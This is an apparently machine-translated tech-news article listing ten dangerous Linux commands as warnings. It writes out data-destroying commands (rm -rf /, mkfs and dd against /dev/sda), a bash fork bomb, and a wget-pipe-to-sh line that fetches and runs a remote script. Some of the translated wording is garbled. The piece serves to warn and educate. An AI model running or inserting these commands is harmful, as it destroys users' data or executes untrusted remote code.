Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

What are the most dangerous commands in the Linux system

2025-01-17 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >

Share

Shulou(Shulou.com)06/01 Report--

This article mainly introduces the relevant knowledge of "what are the most dangerous commands in the Linux system". The editor shows you the operation process through an actual case. The operation method is simple, fast and practical. I hope this article "what are the most dangerous commands in the Linux system" can help you solve the problem.

Friends who have come into contact with the Linux system know that "rm-rf / *" is not a friendly command, and the consequences of execution are better known than everyone else.

1. Rm-rf command

The rm-rf command is one of the fastest ways to delete a folder and its contents. Even the slightest mistake or ignorance can lead to the collapse of an irreversible system.

Here are some options for the rm command.

The rm-r command recursively deletes folders, even empty folders. Rm-f command can delete 'read-only files' without being asked. Note: deleting a file under Linux does not care whether the file is read-only, but whether the parent directory has write permission. So, the parameter-f just means that you don't have to delete the confirmation one by one, but delete it all quietly. In addition, the original rm command does not actually delete the prompt, but the general distribution will add the rm alias to the-I parameter to request deletion confirmation, and-f suppresses the prompt. ) rm-rf /: forces the deletion of everything in the root directory. (that is to say, after the deletion, there is nothing left. ) rm-rf *: forces the deletion of all files in the current directory. Rm-rf. Forces the current folder and its subfolders to be deleted

Whenever you want to execute the rm-rf command, you need to be careful. It is recommended that you create a rm-I alias for the 'rm' command' in the ".bashrc" file to prevent accidents when deleting the file with the 'rm' command, which will ask you to confirm each delete request.

2.: () {: |: &};: command: () {: |: &};:

Description:

Here is a function name, which we define and execute later

: the output of the function is piped to another colon function as input and executed in the background.

{}; indicates that the content inside is a function body.

For a function execution after the definition is completed

This is an example of a fork bomb. This is done by defining a function called':', which calls itself twice, once in the foreground and once in the background. It will be executed repeatedly until the system crashes.

Principle analysis

The first thing to note is that it's a shell built-in command, so the above code can only generate a fork bomb in bash, because in some other shell, built-in commands take precedence over functions, so execute: always execute built-in commands. (: is an empty command, while true is equivalent to while:, and is often used as a placeholder)

First, let's take a look at the main body of the function:: &, when using a pipe, two processes start to execute at the same time.

So when a: function is executed, two new processes are generated, and then an original process exits, which recurses continuously, resulting in an infinite recursion. According to the transformation of this growth model, its growth trend is about 2n2n.

Remember! Never experiment on the company's official server.

3. Command > / dev/sda

The above command writes the output of a 'command' to the block device / dev/sda. This operation replaces all data blocks in the block device with the original data written by the command, resulting in data loss for the entire block device.

4. Mv folder / dev/null

This command moves a 'folder' to / dev/null. In Linux, the / dev/null or null device is a special file, and all data written to it is erased and a successful write operation is returned.

(in fact, this is what Linux calls a black hole. Moving the folder to the black hole does not prevent the recovery of the data recovery software, so the real complete destruction needs to be done with special software or techniques.)

The above command moves all the contents of the User directory to / dev/null, which means that everything is' involved'in the null.

5. Wget http://malicious_source-O-| sh

The above command downloads a script from a (perhaps) malicious source and executes it. The Wget command downloads the script, and sh executes the downloaded script (unconditionally).

Note: you should always pay attention to the source of your download package or script. You can only use those that download scripts / programs from trusted sources.

When faced with this need, my general practice is to wget down first, then I read what is written in it, and finally consider whether to implement it or not.

6. Mkfs.ext3 / dev/sda

The above command will format the block device 'sda',. After executing the above command, the block device (hard drive) will be formatted, brand new!

Without any data, directly bring your system to an unrecoverable stage.

Remember! The above orders can not be carried out at any time in production!

7. > file

The above command is often used to empty the contents of the file (it is also used to record the command output. However, please make sure that the output file is empty or does not exist before execution, otherwise the original file will not be recovered.

Incorrectly or ignorantly typing commands like "> xt.conf" with the above will overwrite the configuration file or any other system configuration file.

8. ^ Foo bar

This command is used to edit previously run commands without retyping the entire command. But if you don't thoroughly examine the risk of changing the original command when using the foobar command, this can lead to real trouble.

In fact, this little technique is considered by the translator to be a useless and harmful "hacker" technique left over from prehistoric times.

9. Dd if=/dev/random of=/dev/sda

The above command writes random junk files to the block device sda to wipe out the data. That's for sure! Your system may be in a chaotic and irrecoverable state.

In fact, it is mentioned above that mv to black holes can not completely delete data, so this command gives you a way to delete data completely! Of course, just to be on the safe side, you can rewrite it many times.

10. Hide command

The following command is actually the first command above (rm-rf). The code here is hidden in hexadecimal, and an ignorant user may be fooled. Running the following command from the terminal may erase your root partition.

This command shows that the real danger is usually hidden and cannot be easily detected. You must always pay attention to what you are doing and what will happen. Do not compile / run code from unknown sources.

Do not use these commands unless you have to, even if you have to.

This is the end of the content about "what are the most dangerous commands in the Linux system". Thank you for reading. If you want to know more about the industry, you can follow the industry information channel. The editor will update different knowledge points for you every day.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Development

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report